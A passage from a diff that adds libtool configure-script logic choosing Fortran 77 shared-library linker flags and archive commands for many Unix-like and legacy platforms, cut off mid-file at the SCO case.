a list of space-separated symbols to be *always* + # included in the symbol list + include_expsyms_F77= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + exclude_expsyms_F77="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + ld_shlibs_F77=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + ld_shlibs_F77=no + cat <&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_minus_L_F77=yes + + # Samuel A. Falvo II reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + ld_shlibs_F77=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + allow_undefined_flag_F77=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + archive_cmds_F77='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + ld_shlibs_F77=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, F77) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec_F77='-L$libdir' + allow_undefined_flag_F77=unsupported + always_export_symbols_F77=no + enable_shared_with_static_runtimes_F77=yes + export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds_F77='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_F77='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + ld_shlibs_F77=no + cat <&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs_F77=no + fi + ;; + + sunos4*) + archive_cmds_F77='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + linux*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_cmds_F77="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + archive_expsym_cmds_F77='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + archive_expsym_cmds_F77="$tmp_archive_cmds" + fi + else + ld_shlibs_F77=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs_F77=no + fi + ;; + esac + + if test "$ld_shlibs_F77" = yes; then + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec_F77='${wl}--rpath ${wl}$libdir' + export_dynamic_flag_spec_F77='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec_F77="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec_F77= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + allow_undefined_flag_F77=unsupported + always_export_symbols_F77=yes + archive_expsym_cmds_F77='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L_F77=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct_F77=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + export_symbols_cmds_F77='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds_F77='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds_F77='' + hardcode_direct_F77=yes + hardcode_libdir_separator_F77=':' + link_all_deplibs_F77=yes + + if test "$GCC" = yes; then + case $host_os in aix4.012|aix4.012.*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + hardcode_direct_F77=yes + else + # We have old collect2 + hardcode_direct_F77=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L_F77=yes + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_libdir_separator_F77= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols_F77=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag_F77='-berok' + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF + program main + + end +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_f77_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath" + archive_expsym_cmds_F77="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec_F77='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag_F77="-z nodefs" + archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF + program main + + end +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_f77_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag_F77=' ${wl}-bernotok' + allow_undefined_flag_F77=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + always_export_symbols_F77=yes + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec_F77=' ' + archive_cmds_need_lc_F77=yes + # This is similar to how AIX traditionally builds it's shared libraries. + archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_minus_L_F77=yes + # see comment about different semantics on the GNU ld section + ld_shlibs_F77=no + ;; + + bsdi[45]*) + export_dynamic_flag_spec_F77=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + hardcode_libdir_flag_spec_F77=' ' + allow_undefined_flag_F77=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + archive_cmds_F77='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + old_archive_From_new_cmds_F77='true' + # FIXME: Should let the user specify the lib program. + old_archive_cmds_F77='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + enable_shared_with_static_runtimes_F77=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[012]) + allow_undefined_flag_F77='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[012]) + allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + allow_undefined_flag_F77='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + archive_cmds_need_lc_F77=no + hardcode_direct_F77=no + hardcode_automatic_F77=yes + hardcode_shlibpath_var_F77=unsupported + whole_archive_flag_spec_F77='' + link_all_deplibs_F77=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + archive_cmds_F77='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + archive_cmds_F77='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + ld_shlibs_F77=no + ;; + esac + fi + ;; + + dgux*) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_shlibpath_var_F77=no + ;; + + freebsd1*) + ld_shlibs_F77=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + hardcode_libdir_flag_spec_F77='-R$libdir' + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=yes + hardcode_minus_L_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + archive_cmds_F77='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec_F77='-R$libdir' + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + hpux9*) + if test "$GCC" = yes; then + archive_cmds_F77='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + archive_cmds_F77='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_F77=: + hardcode_direct_F77=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_F77=yes + export_dynamic_flag_spec_F77='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds_F77='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + archive_cmds_F77='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir' + hardcode_libdir_flag_spec_ld_F77='+b $libdir' + hardcode_libdir_separator_F77=: + hardcode_direct_F77=no + hardcode_shlibpath_var_F77=no + ;; + ia64*) + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_direct_F77=no + hardcode_shlibpath_var_F77=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_F77=yes + ;; + *) + hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir' + hardcode_libdir_separator_F77=: + hardcode_direct_F77=yes + export_dynamic_flag_spec_F77='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L_F77=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + archive_cmds_F77='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_ld_F77='-rpath $libdir' + fi + hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_F77=: + link_all_deplibs_F77=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + archive_cmds_F77='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + hardcode_libdir_flag_spec_F77='-R$libdir' + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + ;; + + newsos6) + archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct_F77=yes + hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_F77=: + hardcode_shlibpath_var_F77=no + ;; + + openbsd*) + hardcode_direct_F77=yes + hardcode_shlibpath_var_F77=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir' + export_dynamic_flag_spec_F77='${wl}-E' + else + case $host_os in + openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) + archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_F77='-R$libdir' + ;; + *) + archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + hardcode_libdir_flag_spec_F77='-L$libdir' + hardcode_minus_L_F77=yes + allow_undefined_flag_F77=unsupported + archive_cmds_F77='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + old_archive_From_new_cmds_F77='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + allow_undefined_flag_F77=' -expect_unresolved \*' + archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + fi + hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator_F77=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir' + else + allow_undefined_flag_F77=' -expect_unresolved \*' + archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + archive_expsym_cmds_F77='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + hardcode_libdir_flag_spec_F77='-rpath $libdir' + fi + hardcode_libdir_separator_F77=: + ;; + + sco3.2v5*) + 